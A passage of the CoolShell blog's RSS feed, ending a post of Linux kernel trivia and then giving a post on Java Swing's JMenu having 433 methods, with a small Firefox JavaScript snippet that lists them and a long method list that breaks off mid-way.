是一个移值最广泛的操作系统内核，他可以运行在许多不同范围的系统上，包括PC，大型主机，嵌入式等等。</p>\n<p>9. Linux kernel 版本1.0.0 一共有 176,250 行代码，而最新的 Linux kernel 有超过一千万行代码。下面是版本2的代码行列表。</p>\n<li>1999年1月25日 &#8211; Linux 2.2.0 was released (1,800,847 代码行).</li>\n<li>2001年1月4日 &#8211; Linux 2.4.0 was released (3,377,902 代码行).</li>\n<li>2003年12月17日 &#8211; Linux 2.6.0 was released (5,929,913 代码行).</li>\n<li>2008年12月24日 &#8211; Linux 2.6.28 was released (10,195,402 代码行).10. 使用一个软件，你可以让Microsoft Windows 和Linux kernel 可以同时的运行在同一台机器上，这个软件叫 <a href=\"http://www.colinux.org/\">Cooperative Linux</a> (coLinux).\n<p>11. 起初, Torvalds 想把这个内核叫做Freax (这个单词合并了 &#8220;free&#8221;和&#8221;freak&#8221;，并且使用 X 字母来表明这是一个 Unix-like 的东西)，但他的一个朋友Ari Lemmke，这是一个FTP的管理员，在第一次把Linux的内核放在FTP上供人下载时，他把这个目录命名成了 linux。</p>\n<p>12. 一个叫William Della Croce的人注册了Linux商标，但最终他同意把这个商标还给了 Torvalds。</p>\n<p>13. 今天，全世界500个超级计算机中有超过87%的系统使用了Linux内核。</p>\n<p>14. 术语&#8221;vanilla kernel&#8221; 不是一种冰激凌，而是一个未更改过的Linux内核。</li>\n<p>15. 目前的Linux内核使用了如下技术： <a title=\"Computer multitasking\" href=\"http://en.wikipedia.org/wiki/Computer_multitasking#Preemptive_multitasking.2Ftime-sharing\">真正的抢先式多任务</a> ( <a class=\"mw-redirect\" title=\"User mode\" href=\"http://en.wikipedia.org/wiki/User_mode\">用户模式</a> and <a class=\"mw-redirect\" title=\"Kernel mode\" href=\"http://en.wikipedia.org/wiki/Kernel_mode\">内核模式</a>)， <a title=\"Virtual memory\" href=\"http://en.wikipedia.org/wiki/Virtual_memory\">虚拟内存</a>, <a class=\"mw-redirect\" title=\"Library (computer science)\" href=\"http://en.wikipedia.org/wiki/Library_%28computer_science%29\">动态链接库</a>，<a title=\"Demand paging\" href=\"http://en.wikipedia.org/wiki/Demand_paging\">demand loading</a>, 共享式的<a title=\"Copy-on-write\" href=\"http://en.wikipedia.org/wiki/Copy-on-write\">写时拷贝</a> , <a title=\"Memory management\" href=\"http://en.wikipedia.org/wiki/Memory_management\">内存管理</a>, <a href=\"http://en.wikipedia.org/wiki/Internet_protocol_suite\">Internet 协议包</a>, 和 <a title=\"Thread (computer science)\" href=\"http://en.wikipedia.org/wiki/Thread_%28computer_science%29\">线程</a>.</p>\n<div style=\"text-align: justify;\"><a href=\"http://www.junauza.com/2009/03/15-interesting-facts-about-linux-kernel.html\" target=\"_blank\"></a> </div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/189.html\">Linux的15岁生日</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/189.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>OMG, Jave的JMenu居然有433个方法</title>\n\t\t<link>https://coolshell.cn/articles/182.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/182.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 14 Mar 2009 12:49:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[JMenu]]></category>\n\t\t<category><![CDATA[Swing]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=182</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Java的Swing类库中有一个类叫JMenu，这个类上面有7层的继承，加上所有被继承下来的方法，这个类一共有433个方法，虽然，很多类是从上面继承下来的，而它...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/182.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/182.html\">OMG, Jave的JMenu居然有433个方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Java的Swing类库中有一个类叫JMenu，这个类上面有7层的继承，加上所有被继承下来的方法，这个类一共有433个方法，虽然，很多类是从上面继承下来的，而它自己的方法并没有定义太多的方法，不过，继承体系过深，在底层类上要想知道所有的继承下来的东西并不是一样容易的事情。这个例子展示了一个滥用代码重用的反面案例。我个人认为我们应该反思一下滥用面向对象的作法。</p>\n<p>要把Java一个类所有的方法例出来并不是一件难事，使用Javascript 利用Firefox浏览器所支持的Package来穷举JMenu的方法可以很方便的列出所有的方法。</p>\n<p><span id=\"more-182\"></span><br />\n下面是这段Javascripts程序：</p>\n<p> </p>\n<pre name=\"code\" class=\"html\">\n<script>\n    jmenu = new Packages.javax.swing.JMenu( );\n\n    methods = jmenu.getClass( ).getMethods( );\n\n    regx = /j[^( ]+([^)]*)/; // match just the method\n\n    for (var i = 0, jsArray=[], name = \"\"; \n          i < methods.length; \n          i++ ) \n    {\n        name = methods[ i ].toString( );\n        jsArray.push( name.match( regx )[ 0 ] );\n    }\n\n    jsArray = jsArray.sort( );\n\n    result = \" <ol>\";\n    for(var i = 0; i<jsArray.length; i++){\n        result += \" <li>\"+ jsArray[i] +\" </li>\";\n    }\n    result += \" </ol>\";\n\n    document.write(result);\n</script>\n</pre>\n<p>虽然，在Firefox下有比较严格的安全限制，我们并不一定能够使用Swing类库中所有的Java方法，但我们查看一下其继承体系和一个类所拥有的方法却没有什么安全问题。</p>\n<p>使用上面那段程序，你可以在Firefox中输出JMenu的433个如下的方法，下面是的列表中JMenu的方法在最后。</p>\n<p>下面你可以理解为是在灌水：</p>\n<ol>\n<li>java.awt.Component.action(java.awt.Event,java.lang.Object)</li>\n<li>java.awt.Component.add(java.awt.PopupMenu)</li>\n<li>java.awt.Component.addComponentListener(java.awt.event.ComponentListener)</li>\n<li>java.awt.Component.addFocusListener(java.awt.event.FocusListener)</li>\n<li>java.awt.Component.addHierarchyBoundsListener(java.awt.event.HierarchyBoundsListener)</li>\n<li>java.awt.Component.addHierarchyListener(java.awt.event.HierarchyListener)</li>\n<li>java.awt.Component.addInputMethodListener(java.awt.event.InputMethodListener)</li>\n<li>java.awt.Component.addKeyListener(java.awt.event.KeyListener)</li>\n<li>java.awt.Component.addMouseListener(java.awt.event.MouseListener)</li>\n<li>java.awt.Component.addMouseMotionListener(java.awt.event.MouseMotionListener)</li>\n<li>java.awt.Component.addMouseWheelListener(java.awt.event.MouseWheelListener)</li>\n<li>java.awt.Component.bounds()</li>\n<li>java.awt.Component.checkImage(java.awt.Image,int,int,java.awt.image.ImageObserver)</li>\n<li>java.awt.Component.checkImage(java.awt.Image,java.awt.image.ImageObserver)</li>\n<li>java.awt.Component.contains(java.awt.Point)</li>\n<li>java.awt.Component.createImage(int,int)</li>\n<li>java.awt.Component.createImage(java.awt.image.ImageProducer)</li>\n<li>java.awt.Component.createVolatileImage(int,int)</li>\n<li>java.awt.Component.createVolatileImage(int,int,java.awt.ImageCapabilities)</li>\n<li>java.awt.Component.dispatchEvent(java.awt.AWTEvent)</li>\n<li>java.awt.Component.enable(boolean)</li>\n<li>java.awt.Component.enableInputMethods(boolean)</li>\n<li>java.awt.Component.firePropertyChange(java.lang.String,byte,byte)</li>\n<li>java.awt.Component.firePropertyChange(java.lang.String,double,double)</li>\n<li>java.awt.Component.firePropertyChange(java.lang.String,float,float)</li>\n<li>java.awt.Component.firePropertyChange(java.lang.String,long,long)</li>\n<li>java.awt.Component.firePropertyChange(java.lang.String,short,short)</li>\n<li>java.awt.Component.getBackground()</li>\n<li>java.awt.Component.getBounds()</li>\n<li>java.awt.Component.getColorModel()</li>\n<li>java.awt.Component.getComponentListeners()</li>\n<li>java.awt.Component.getComponentOrientation()</li>\n<li>java.awt.Component.getCursor()</li>\n<li>java.awt.Component.getDropTarget()</li>\n<li>java.awt.Component.getFocusCycleRootAncestor()</li>\n<li>java.awt.Component.getFocusListeners()</li>\n<li>java.awt.Component.getFocusTraversalKeysEnabled()</li>\n<li>java.awt.Component.getFont()</li>\n<li>java.awt.Component.getForeground()</li>\n<li>java.awt.Component.getGraphicsConfiguration()</li>\n<li>java.awt.Component.getHierarchyBoundsListeners()</li>\n<li>java.awt.Component.getHierarchyListeners()</li>\n<li>java.awt.Component.getIgnoreRepaint()</li>\n<li>java.awt.Component.getInputContext()</li>\n<li>java.awt.Component.getInputMethodListeners()</li>\n<li>java.awt.Component.getInputMethodRequests()</li>\n<li>java.awt.Component.getKeyListeners()</li>\n<li>java.awt.Component.getLocale()</li>\n<li>java.awt.Component.getLocation()</li>\n<li>java.awt.Component.getLocationOnScreen()</li>\n<li>java.awt.Component.getMouseListeners()</li>\n<li>java.awt.Component.getMouseMotionListeners()</li>\n<li>java.awt.Component.getMousePosition()</li>\n<li>java.awt.Component.getMouseWheelListeners()</li>\n<li>java.awt.Component.getName()</li>\n<li>java.awt.Component.getParent()</li>\n<li>java.awt.Component.getPeer()</li>\n<li>java.awt.Component.getPropertyChangeListeners()</li>\n<li>java.awt.Component.getPropertyChangeListeners(java.lang.String)</li>\n<li>java.awt.Component.getSize()</li>\n<li>java.awt.Component.getToolkit()</li>\n<li>java.awt.Component.getTreeLock()</li>\n<li>java.awt.Component.gotFocus(java.awt.Event,java.lang.Object)</li>\n<li>java.awt.Component.handleEvent(java.awt.Event)</li>\n<li>java.awt.Component.hasFocus()</li>\n<li>java.awt.Component.hide()</li>\n<li>java.awt.Component.inside(int,int)</li>\n<li>java.awt.Component.isBackgroundSet()</li>\n<li>java.awt.Component.isCursorSet()</li>\n<li>java.awt.Component.isDisplayable()</li>\n<li>java.awt.Component.isEnabled()</li>\n<li>java.awt.Component.isFocusOwner()</li>\n<li>java.awt.Component.isFocusTraversable()</li>\n<li>java.awt.Component.isFocusable()</li>\n<li>java.awt.Component.isFontSet()</li>\n<li>java.awt.Component.isForegroundSet()</li>\n<li>java.awt.Component.isLightweight()</li>\n<li>java.awt.Component.isMaximumSizeSet()</li>\n<li>java.awt.Component.isMinimumSizeSet()</li>\n<li>java.awt.Component.isPreferredSizeSet()</li>\n<li>java.awt.Component.isShowing()</li>\n<li>java.awt.Component.isValid()</li>\n<li>java.awt.Component.isVisible()</li>\n<li>java.awt.Component.keyDown(java.awt.Event,int)</li>\n<li>java.awt.Component.keyUp(java.awt.Event,int)</li>\n<li>java.awt.Component.list()</li>\n<li>java.awt.Component.list(java.io.PrintStream)</li>\n<li>java.awt.Component.list(java.io.PrintWriter)</li>\n<li>java.awt.Component.location()</li>\n<li>java.awt.Component.lostFocus(java.awt.Event,java.lang.Object)</li>\n<li>java.awt.Component.mouseDown(java.awt.Event,int,int)</li>\n<li>java.awt.Component.mouseDrag(java.awt.Event,int,int)</li>\n<li>java.awt.Component.mouseEnter(java.awt.Event,int,int)</li>\n<li>java.awt.Component.mouseExit(java.awt.Event,int,int)</li>\n<li>java.awt.Component.mouseMove(java.awt.Event,int,int)</li>\n<li>java.awt.Component.mouseUp(java.awt.Event,int,int)</li>\n<li>java.awt.Component.move(int,int)</li>\n<li>java.awt.Component.nextFocus()</li>\n<li>java.awt.Component.paintAll(java.awt.Graphics)</li>\n<li>java.awt.Component.postEvent(java.awt.Event)</li>\n<li>java.awt.Component.prepareImage(java.awt.Image,int,int,java.awt.image.ImageObserver)</li>\n<li>java.awt.Component.prepareImage(java.awt.Image,java.awt.image.ImageObserver)</li>\n<li>java.awt.Component.remove(java.awt.MenuComponent)</li>\n<li>java.awt.Component.removeComponentListener(java.awt.event.ComponentListener)</li>\n<li>java.awt.Component.removeFocusListener(java.awt.event.FocusListener)</li>\n<li>java.awt.Component.removeHierarchyBoundsListener(java.awt.event.HierarchyBoundsListener)</li>\n<li>java.awt.Component.removeHierarchyListener(java.awt.event.HierarchyListener)</li>\n<li>java.awt.Component.removeInputMethodListener(java.awt.event.InputMethodListener)</li>\n<li>java.awt.Component.removeKeyListener(java.awt.event.KeyListener)</li>\n<li>java.awt.Component.removeMouseListener(java.awt.event.MouseListener)</li>\n<li>java.awt.Component.removeMouseMotionListener(java.awt.event.MouseMotionListener)</li>\n<li>java.awt.Component.removeMouseWheelListener(java.awt.event.MouseWheelListener)</li>\n<li>java.awt.Component.removePropertyChangeListener(java.beans.PropertyChangeListener)</li>\n<li>java.awt.Component.removePropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener)</li>\n<li>java.awt.Component.repaint()</li>\n<li>java.awt.Component.repaint(int,int,int,int)</li>\n<li>java.awt.Component.repaint(long)</li>\n<li>java.awt.Component.resize(int,int)</li>\n<li>java.awt.Component.resize(java.awt.Dimension)</li>\n<li>java.awt.Component.setBounds(int,int,int,int)</li>\n<li>java.awt.Component.setBounds(java.awt.Rectangle)</li>\n<li>java.awt.Component.setCursor(java.awt.Cursor)</li>\n<li>java.awt.Component.setDropTarget(java.awt.dnd.DropTarget)</li>\n<li>java.awt.Component.setFocusTraversalKeysEnabled(boolean)</li>\n<li>java.awt.Component.setFocusable(boolean)</li>\n<li>java.awt.Component.setIgnoreRepaint(boolean)</li>\n<li>java.awt.Component.setLocale(java.util.Locale)</li>\n<li>java.awt.Component.setLocation(int,int)</li>\n<li>java.awt.Component.setLocation(java.awt.Point)</li>\n<li>java.awt.Component.setName(java.lang.String)</li>\n<li>java.awt.Component.setSize(int,int)</li>\n<li>java.awt.Component.setSize(java.awt.Dimension)</li>\n<li>java.awt.Component.show()</li>\n<li>java.awt.Component.show(boolean)</li>\n<li>java.awt.Component.size()</li>\n<li>java.awt.Component.toString()</li>\n<li>java.awt.Component.transferFocus()</li>\n<li>java.awt.Component.transferFocusBackward()</li>\n<li>java.awt.Component.transferFocusUpCycle()</li>\n<li>java.awt.Container.add(java.awt.Component,java.lang.Object)</li>\n<li>java.awt.Container.add(java.awt.Component,java.lang.Object,int)</li>\n<li>java.awt.Container.add(java.lang.String,java.awt.Component)</li>\n<li>java.awt.Container.addContainerListener(java.awt.event.ContainerListener)</li>\n<li>java.awt.Container.addPropertyChangeListener(java.beans.PropertyChangeListener)</li>\n<li>java.awt.Container.addPropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener)</li>\n<li>java.awt.Container.areFocusTraversalKeysSet(int)</li>\n<li>java.awt.Container.countComponents()</li>\n<li>java.awt.Container.deliverEvent(java.awt.Event)</li>\n<li>java.awt.Container.doLayout()</li>\n<li>java.awt.Container.findComponentAt(int,int)</li>\n<li>java.awt.Container.findComponentAt(java.awt.Point)</li>\n<li>java.awt.Container.getComponent(int)</li>\n<li>java.awt.Container.getComponentAt(int,int)</li>\n<li>java.awt.Container.getComponentAt(java.awt.Point)</li>\n<li>java.awt.Container.getComponentCount()</li>\n<li>java.awt.Container.getComponentZOrder(java.awt.Component)</li>\n<li>java.awt.Container.getComponents()</li>\n<li>java.awt.Container.getContainerListeners()</li>\n<li>java.awt.Container.getFocusTraversalKeys(int)</li>\n<li>java.awt.Container.getFocusTraversalPolicy()</li>\n<li>java.awt.Container.getLayout()</li>\n<li>java.awt.Container.getMousePosition(boolean)</li>\n<li>java.awt.Container.insets()</li>\n<li>java.awt.Container.invalidate()</li>\n<li>java.awt.Container.isAncestorOf(java.awt.Component)</li>\n<li>java.awt.Container.isFocusCycleRoot()</li>\n<li>java.awt.Container.isFocusCycleRoot(java.awt.Container)</li>\n<li>java.awt.Container.isFocusTraversalPolicyProvider()</li>\n<li>java.awt.Container.isFocusTraversalPolicySet()</li>\n<li>java.awt.Container.layout()</li>\n<li>java.awt.Container.list(java.io.PrintStream,int)</li>\n<li>java.awt.Container.list(java.io.PrintWriter,int)</li>\n<li>java.awt.Container.locate(int,int)</li>\n<li>java.awt.Container.minimumSize()</li>\n<li>java.awt.Container.paintComponents(java.awt.Graphics)</li>\n<li>java.awt.Container.preferredSize()</li>\n<li>java.awt.Container.printComponents(java.awt.Graphics)</li>\n<li>java.awt.Container.removeContainerListener(java.awt.event.ContainerListener)</li>\n<li>java.awt.Container.setComponentZOrder(java.awt.Component,int)</li>\n<li>java.awt.Container.setFocusCycleRoot(boolean)</li>\n<li>java.awt.Container.setFocusTraversalPolicy(java.awt.FocusTraversalPolicy)</li>\n<li>java.awt.Container.setFocusTraversalPolicyProvider(boolean)</li>\n<li>java.awt.Container.transferFocusDownCycle()</li>\n<li>java.awt.Container.validate()</li>\n<li>java.lang.Object.equals(java.lang.Object)</li>\n<li>java.lang.Object.getClass()</li>\n<li>java.lang.Object.hashCode()</li>\n<li>java.lang.Object.notify()</li>\n<li>java.lang.Object.notifyAll()</li>\n<li>java.lang.Object.wait()</li>\n<li>java.lang.Object.wait(long)</li>\n<li>java.lang.Object.wait(long,int)</li>\n<li>javax.swing.AbstractButton.addActionListener(java.awt.event.ActionListener)</li>\n<li>javax.swing.AbstractButton.addChangeListener(javax.swing.event.ChangeListener)</li>\n<li>javax.swing.AbstractButton.addItemListener(java.awt.event.ItemListener)</li>\n<li>javax.swing.AbstractButton.doClick()</li>\n<li>javax.swing.AbstractButton.getAction()</li>\n<li>javax.swing.AbstractButton.getActionCommand()</li>\n<li>javax.swing.AbstractButton.getActionListeners()</li>\n<li>javax.swing.AbstractButton.getChangeListeners()</li>\n<li>javax.swing.AbstractButton.getDisabledIcon()</li>\n<li>javax.swing.AbstractButton.getDisabledSelectedIcon()</li>\n<li>javax.swing.AbstractButton.getDisplayedMnemonicIndex()</li>\n<li>javax.swing.AbstractButton.getHideActionText()</li>\n<li>javax.swing.AbstractButton.getHorizontalAlignment()</li>\n<li>javax.swing.AbstractButton.getHorizontalTextPosition()</li>\n<li>javax.swing.AbstractButton.getIcon()</li>\n<li>javax.swing.AbstractButton.getIconTextGap()</li>\n<li>javax.swing.AbstractButton.getItemListeners()</li>\n<li>javax.swing.AbstractButton.getLabel()</li>\n<li>javax.swing.AbstractButton.getMargin()</li>\n<li>javax.swing.AbstractButton.getMnemonic()</li>\n<li>javax.swing.AbstractButton.getModel()</li>\n<li>javax.swing.AbstractButton.getMultiClickThreshhold()</li>\n<li>javax.swing.AbstractButton.getPressedIcon()</li>\n<li>javax.swing.AbstractButton.getRolloverIcon()</li>\n<li>javax.swing.AbstractButton.getRolloverSelectedIcon()</li>\n<li>javax.swing.AbstractButton.getSelectedIcon()</li>\n<li>javax.swing.AbstractButton.getSelectedObjects()</li>\n<li>javax.swing.AbstractButton.getText()</li>\n<li>javax.swing.AbstractButton.getUI()</li>\n<li>javax.swing.AbstractButton.getVerticalAlignment()</li>\n<li>javax.swing.AbstractButton.getVerticalTextPosition()</li>\n<li>javax.swing.AbstractButton.imageUpdate(java.awt.Image,int,int,int,int,int)</li>\n<li>javax.swing.AbstractButton.isBorderPainted()</li>\n<li>javax.swing.AbstractButton.isContentAreaFilled()</li>\n<li>javax.swing.AbstractButton.isFocusPainted()</li>\n<li>javax.swing.AbstractButton.isRolloverEnabled()</li>\n<li>javax.swing.AbstractButton.removeActionListener(java.awt.event.ActionListener)</li>\n<li>javax.swing.AbstractButton.removeChangeListener(javax.swing.event.ChangeListener)</li>\n<li>javax.swing.AbstractButton.removeItemListener(java.awt.event.ItemListener)</li>\n<li>javax.swing.AbstractButton.removeNotify()</li>\n<li>javax.swing.AbstractButton.setAction(javax.swing.Action)</li>\n<li>javax.swing.AbstractButton.setActionCommand(java.lang.String)</li>\n<li>javax.swing.AbstractButton.setBorderPainted(boolean)</li>\n<li>javax.swing.AbstractButton.setContentAreaFilled(boolean)</li>\n<li>javax.swing.AbstractButton.setDisabledIcon(javax.swing.Icon)</li>\n<li>javax.swing.AbstractButton.setDisabledSelectedIcon(javax.swing.Icon)</li>\n<li>javax.swing.AbstractButton.setDisplayedMnemonicIndex(int)</li>\n<li>javax.swing.AbstractButton.setFocusPainted(boolean)</li>\n<li>javax.swing.AbstractButton.setHideActionText(boolean)</li>\n<li>javax.swing.AbstractButton.setHorizontalAlignment(int)</li>\n<li>javax.swing.AbstractButton.setHorizontalTextPosition(int)</li>\n<li>javax.swing.AbstractButton.setIcon(javax.swing.Icon)</li>\n<li>javax.swing.AbstractButton.setIconTextGap(int)</li>\n<li>javax.swing.AbstractButton.setLabel(java.lang.String)</li>\n<li>javax.swing.AbstractButton.setLayout(java.awt.LayoutManager)</li>\n<li>javax.swing.AbstractButton.setMargin(java.awt.Insets)</li>\n<li>javax.swing.AbstractButton.setMnemonic(char)</li>\n<li>javax.swing.AbstractButton.setMnemonic(int)</li>\n<li>javax.swing.AbstractButton.setMultiClickThreshhold(long)</li>\n<li>javax.swing.AbstractButton.setPressedIcon(javax.swing.Icon)</li>\n<li>javax.swing.AbstractButton.setRolloverEnabled(boolean)</li>\n<li>javax.swing.AbstractButton.setRolloverIcon(javax.swing.Icon)</li>\n<li>javax.swing.AbstractButton.setRolloverSelectedIcon(javax.swing.Icon)</li>\n<li>javax.swing.AbstractButton.setSelectedIcon(javax.swing.Icon)</li>\n<li>javax.swing.AbstractButton.setText(java.lang.String)</li>\n<li>javax.swing.AbstractButton.setUI(javax.swing.plaf.ButtonUI)</li>\n<li>javax.swing.AbstractButton.setVerticalAlignment(int)</li>\n<li>javax.swing.AbstractButton.setVerticalTextPosition(int)</li>\n<li>javax.swing.JComponent.addAncestorListener(javax.swing.event.AncestorListener)</li>\n<li>javax.swing.JComponent.addNotify()</li>\n<li>javax.swing.JComponent.addVetoableChangeListener(java.beans.VetoableChangeListener)</li>\n<li>javax.swing.JComponent.computeVisibleRect(java.awt.Rectangle)</li>\n<li>javax.swing.JComponent.contains(int,int)</li>\n<li>javax.swing.JComponent.createToolTip()</li>\n<li>javax.swing.JComponent.disable()</li>\n<li>javax.swing.JComponent.enable()</li>\n<li>javax.swing.JComponent.firePropertyChange(java.lang.String,boolean,boolean)</li>\n<li>javax.swing.JComponent.firePropertyChange(java.lang.String,char,char)</li>\n<li>javax.swing.JComponent.firePropertyChange(java.lang.String,int,int)</li>\n<li>javax.swing.JComponent.getActionForKeyStroke(javax.swing.KeyStroke)</li>\n<li>javax.swing.JComponent.getActionMap()</li>\n<li>javax.swing.JComponent.getAlignmentX()</li>\n<li>javax.swing.JComponent.getAlignmentY()</li>\n<li>javax.swing.JComponent.getAncestorListeners()</li>\n<li>javax.swing.JComponent.getAutoscrolls()</li>\n<li>javax.swing.JComponent.getBaseline(int,int)</li>\n<li>javax.swing.JComponent.getBaselineResizeBehavior()</li>\n<li>javax.swing.JComponent.getBorder()</li>\n<li>javax.swing.JComponent.getBounds(java.awt.Rectangle)</li>\n<li>javax.swing.JComponent.getClientProperty(java.lang.Object)</li>\n<li>javax.swing.JComponent.getComponentPopupMenu()</li>\n<li>javax.swing.JComponent.getConditionForKeyStroke(javax.swing.KeyStroke)</li>\n<li>javax.swing.JComponent.getDebugGraphicsOptions()</li>\n<li>javax.swing.JComponent.getDefaultLocale()</li>\n<li>javax.swing.JComponent.getFontMetrics(java.awt.Font)</li>\n<li>javax.swing.JComponent.getGraphics()</li>\n<li>javax.swing.JComponent.getHeight()</li>\n<li>javax.swing.JComponent.getInheritsPopupMenu()</li>\n<li>javax.swing.JComponent.getInputMap()</li>\n<li>javax.swing.JComponent.getInputMap(int)</li>\n<li>javax.swing.JComponent.getInputVerifier()</li>\n<li>javax.swing.JComponent.getInsets()</li>\n<li>javax.swing.JComponent.getInsets(java.awt.Insets)</li>\n<li>javax.swing.JComponent.getListeners(java.lang.Class)</li>\n<li>javax.swing.JComponent.getLocation(java.awt.Point)</li>\n<li>javax.swing.JComponent.getMaximumSize()</li>\n<li>javax.swing.JComponent.getMinimumSize()</li>\n<li>javax.swing.JComponent.getNextFocusableComponent()</li>\n<li>javax.swing.JComponent.getPopupLocation(java.awt.event.MouseEvent)</li>\n<li>javax.swing.JComponent.getPreferredSize()</li>\n<li>javax.swing.JComponent.getRegisteredKeyStrokes()</li>\n<li>javax.swing.JComponent.getRootPane()</li>\n<li>javax.swing.JComponent.getSize(java.awt.Dimension)</li>\n<li>javax.swing.JComponent.getToolTipLocation(java.awt.event.MouseEvent)</li>\n<li>javax.swing.JComponent.getToolTipText()</li>\n<li>javax.swing.JComponent.getToolTipText(java.awt.event.MouseEvent)</li>\n<li>javax.swing.JComponent.getTopLevelAncestor()</li>\n<li>javax.swing.JComponent.getTransferHandler()</li>\n<li>javax.swing.JComponent.getVerifyInputWhenFocusTarget()</li>\n<li>javax.swing.JComponent.getVetoableChangeListeners()</li>\n<li>javax.swing.JComponent.getVisibleRect()</li>\n<li>javax.swing.JComponent.getWidth()</li>\n<li>javax.swing.JComponent.getX()</li>\n<li>javax.swing.JComponent.getY()</li>\n<li>javax.swing.JComponent.grabFocus()</li>\n<li>javax.swing.JComponent.isDoubleBuffered()</li>\n<li>javax.swing.JComponent.isLightweightComponent(java.awt.Component)</li>\n<li>javax.swing.JComponent.isManagingFocus()</li>\n<li>javax.swing.JComponent.isOpaque()</li>\n<li>javax.swing.JComponent.isOptimizedDrawingEnabled()</li>\n<li>javax.swing.JComponent.isPaintingForPrint()</li>\n<li>javax.swing.JComponent.isPaintingTile()</li>\n<li>javax.swing.JComponent.isRequestFocusEnabled()</li>\n<li>javax.swing.JComponent.isValidateRoot()</li>\n<li>javax.swing.JComponent.paint(java.awt.Graphics)</li>\n<li>javax.swing.JComponent.paintImmediately(int,int,int,int)</li>\n<li>javax.swing.JComponent.paintImmediately(java.awt.Rectangle)</li>\n<li>javax.swing.JComponent.print(java.awt.Graphics)</li>\n<li>javax.swing.JComponent.printAll(java.awt.Graphics)</li>\n<li>javax.swing.JComponent.putClientProperty(java.lang.Object,java.lang.Object)</li>\n<li>javax.swing.JComponent.registerKeyboardAction(java.awt.event.ActionListener,java.lang.String,javax.swing.KeyStroke,int)</li>\n<li>javax.swing.JComponent.registerKeyboardAction(java.awt.event.ActionListener,javax.swing.KeyStroke,int)</li>\n<li>javax.swing.JComponent.removeAncestorListener(javax.swing.event.AncestorListener)</li>\n<li>javax.swing.JComponent.removeVetoableChangeListener(java.beans.VetoableChangeListener)</li>\n<li>javax.swing.JComponent.repaint(java.awt.Rectangle)